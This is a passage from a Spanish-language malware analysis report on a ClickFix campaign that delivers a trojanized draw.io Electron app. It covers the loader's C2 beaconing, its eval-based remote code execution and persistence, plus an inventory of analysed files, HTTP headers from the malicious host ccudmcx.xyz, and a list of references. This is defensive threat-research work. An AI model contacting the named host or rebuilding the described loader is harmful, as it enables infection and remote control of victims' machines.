Flujo interno del bootstrap: r() dispara p() cada 65 s; p() consulta el fingerprint via n() y POSTea al C2; el handler q() bifurca entre RCE in-memory (eval) o drop&execute. La persistencia se establece una sola vez al inicio.

B. Inventario de archivos analizados

ArchivoOrigenBytes
/home/ubuntu/analisis/clickfix-ccudmcx/script.ps1GET /u (Cloudflare)2,564
/home/ubuntu/analisis/clickfix-ccudmcx/update.zipGET /update.zip134,729,033
/home/ubuntu/analisis/clickfix-ccudmcx/extracted/draw.io.exeExtracción ZIP148,962,456
/home/ubuntu/analisis/clickfix-ccudmcx/extracted/resources/app.asarExtracción ZIP158,440,947
/home/ubuntu/analisis/clickfix-ccudmcx/asar_dump/electron.jsParser ASAR57,822
/home/ubuntu/analisis/clickfix-ccudmcx/decoded_strings.jsonDecodificación RC4~70,000

C. Cabeceras HTTP completas

HTTP/2 301
date: Mon, 04 May 2026 17:43:38 GMT
content-type: text/html; charset=iso-8859-1
location: http://ccudmcx.xyz/u/
server: cloudflare
cf-ray: 9f694f0f0c305383-YYZ
alt-svc: h3=":443"; ma=86400

HTTP/1.1 200 OK
Date: Mon, 04 May 2026 17:43:38 GMT
Content-Type: application/octet-stream
Content-Length: 2564
Server: cloudflare
Content-Description: File Transfer
Content-Disposition: attachment; filename="script.ps1"
Cache-Control: no-store, no-cache, must-revalidate
CF-RAY: 9f694f10ea30a28b-YUL

14Referencias y Fuentes Citadas

  1. Microsoft Security Blog — Think before you ClickFix: Analyzing the ClickFix social engineering technique (Aug 2025)
  2. Splunk — Beyond The Click: Unveiling Fake CAPTCHA Campaigns
  3. FortiGuard Labs — From ClickFix to Command: A Full PowerShell Attack Chain
  4. SocRadar — ClickFix & FileFix: How a Copy-Paste Trick Became 2025's Top Social Engineering Threat
  5. SentinelOne — Caught in the CAPTCHA: How ClickFix is Weaponizing Verification Fatigue to Deliver RATs & Infostealers
  6. CYFIRMA — Fake CAPTCHA Malware Campaign
  7. eSecurity Planet — ClickFix Campaign Uses Fake CAPTCHA Pages to Deliver StealC Malware
  8. The Hacker News (Ene 2026) — ClickFix Attacks Expand Using Fake CAPTCHAs
  9. Kaspersky — Variations of the ClickFix
  10. FIRST Conf 2023 — Horejsi: Abusing Electron-Based Applications in Targeted Attacks
  11. Intego — OSX/Amos: Hunting C2s in Trojanized Electron ASAR Payloads (Mar 2026)
  12. Maldev-Academy — ElectronVulnScanner (detector de ASAR tampering)
  13. Huntress — ClickFix Gets Creative: Malware Buried in Images
  14. MITRE ATT&CK — T1204.004 Malicious Copy and Paste
  15. MITRE ATT&CK — T1547.001 Registry Run Keys / Startup Folder
  16. JGraph — drawio-desktop (proyecto legítimo, abusado en este caso)
  17. Anthropic-Cybersecurity-Skills (754 skills aplicadas)
  18. awesome-dfir-skills (workflow de análisis de malware)